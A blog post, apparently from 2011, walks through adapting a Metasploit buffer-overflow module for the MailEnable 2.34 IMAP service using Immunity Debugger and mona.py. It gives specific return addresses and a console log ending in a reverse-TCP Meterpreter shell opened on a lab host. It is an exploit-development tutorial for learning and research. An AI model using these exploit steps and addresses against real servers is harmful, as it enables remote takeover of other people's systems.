Not that this is any major feat, but I thought it would do as a nice primer to investigating bugs
Immunity Debugger and
mona.py and exploiting them with
Metasploit.
I was researching a vulnerability today, Metasploit has a module called mailenable_login with a target of MailEnable 2.35. Doing some research into the exploit, it is a buffer overflow, and not just 2.35 is vulnerable to this bug. From the
CVE:
Stack-based buffer overflow in the IMAP service for MailEnable Professional and Enterprise Edition 2.0 through 2.35, Professional Edition 1.6 through 1.84, and Enterprise Edition 1.1 through 1.41 allows remote attackers to execute arbitrary code via a pre-authentication command followed by a crafted parameter and a long string, as addressed by the ME-10025 hotfix.
This is a good thing, because after searching for about an hour, I hadn't found an installer for the 2.35 version. The
official historical archive for the MailEnable releases has that release conspicuously missing. However, other reportedly vulnerable releases, such as 2.34 was available. I happily obliged and grabbed 2.34, in hopes I would be able to get it to work without too much effort.
Well, short story short, the target in the module didn't "just work" as I had hoped. But it did crash the server, which was interesting. I decided to look further. I am not very seasoned at this type of debugging, so the guys in #corelan on irc.freenode.net were my first stop for getting pushed in the right direction.
Up until now, I had been using WinDbg, a debugger offered by Microsft with their Driver development kit. corelanc0der offered some better advice, grab a copy of Immunity Debugger and mona.py. After installing Immunity Debugger, I dropped mona.py in the PyCommands folder in the Immunity Debugger folder in Program Files. This enables me to utilize the "swiss army knife" the corelan team developped to speed up exploit development. I don't fully understand it, but already can see it is quite powerful. The first thing I had to do was crash the service, in this case MEIMAPS.exe. I attached Immunity Debugger to the currently running MEIMAPS.exe (it is run as a service automagically at startup). I know how to crash it, just run the 2.35 target against, and bam.
Notice how EIP is the same address as the return address in the original 2.35 target...
So, that obviously doesn't work, we don't like access violations. Maybe mona.py can show us some better places to exploit this application. But in order to do this, I need to make a few changes to the original metasploit module. Open it up in your favorite text editor, I did it in vim, and change your sploit. Comment out the original and add your own.
Check out this
rather old article with details on pattern_create(). This gives mona.py some data to work with that is comprehensible, easy to traverse, and gather information about. A really cool feature of mona.py is that it will generate a template for your exploit with offsets and return pointers used to execute arbitrary commands. All you do is fill in the blanks. Let's see what mona.py has to offer:
If mona.py finds somethings it thinks is useful, you will get a small popup with predefined templates in a drop down box. I chose the remote client (tcp) template. Another series of popup dialogs will popup, one meaningful, and another not so meangingful. The former is the remote port to listen on. The latter is the Exploit-db id. Ironically, due to a bug in Immunity debugger, your answer the in remote port box will carry over into the next box, the exploit db id box.
You do not want this. Be sure to clear it out if you don't want to include the exploit-db id.
Anyways, enough with silly dialogs. When everything is said and done, inside C:\Program Files\Immunity Inc\Immunity Debugger\ will lie an exploit.rb file. This is your exploit module shell for Metasploit. Be sure to check it over, it may not be optimal, even if it does *work*.
Hmm, looks like it'll work. But what the fudge is CLBCATQ.DLL? We want something a little more standard than this. Luckily, mona.py has some tools specifically for this.
We know we want a jmp/push esp. push was denoted in the generated module. It works, but let's try a jmp first, it is what the first target uses, so it would be a little bit more straightforward and consistent.
Cool! We found 2 pointers in a pretty freaking stable place, MSVCP60.DLL. Let's take a closer look.
Cool, so we have one jmp and one push. Remember our original exploit.rb that mona.py generated for us? The return address that it defines in CLBCATQ.DLL (0x76ffcb51) can be replaced with either of these addresses (0x76095d68 is the push and 0x760a9d6e is the jmp) in MSVCP60.DLL. The two addresses are printed out to the screen right above the red text. The two lines each begin with an address and either of these will do. We need to dig into the metasploit framework now. We need to add the target, which should really work for more than just this 2.34 release. The CVE lists a few in the 2.3x range. I think it should hit all of them, but am willing to eat my words.
Your targets in the mailenable_login.rb module should look similar to this, depending on the return address you chose from MSVCP60.DLL. Let's test it. You need to uncomment out the
sploit lines from before and remove your line you inserted with
pattern_create(1000).
root@bperry-laptop:/home/bperry# msfconsole -L
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_|
=[ metasploit v3.8.0-dev [core:3.8 api:1.0]
+ -- --=[ 710 exploits - 359 auxiliary - 57 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops
=[ svn r13108 updated today (2011.07.06)
msf > use exploit/windows/imap/mailenable_login
msf exploit(mailenable_login) > set RHOST 192.168.1.105
RHOST => 192.168.1.105
msf exploit(mailenable_login) > show targets
Exploit targets:
Id Name
-- ----
0 MailEnable 2.35 Pro
1 MailEnable 2.34 Pro
msf exploit(mailenable_login) > set TARGET 1
TARGET => 1
msf exploit(mailenable_login) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mailenable_login) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(mailenable_login) > show options
Module options (exploit/windows/imap/mailenable_login):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.105 yes The target address
RPORT 143 yes The target port
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.1.71 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 MailEnable 2.34 Pro
msf exploit(mailenable_login) > exploit
[*] Started reverse handler on 192.168.1.71:4444
[*] Trying target MailEnable 2.34 Pro...
[*] Sending stage (752128 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.71:4444 -> 192.168.1.105:1037) at 2011-07-06 21:27:55 -0500
meterpreter > Success!
[-] Unknown command: Success!.
meterpreter > exit
[*] Shutting down Meterpreter...
[*] Meterpreter session 1 closed. Reason: User exit
msf exploit(mailenable_login) > exit
root@bperry-laptop:/home/bperry#
Whee! I have submitted the patch to the metasploit guys
here, it should be in trunk shortly. If you would like to play with this, you may download the relevant binaries from
MailEnable themselves. Just not 2.35! Har har har...
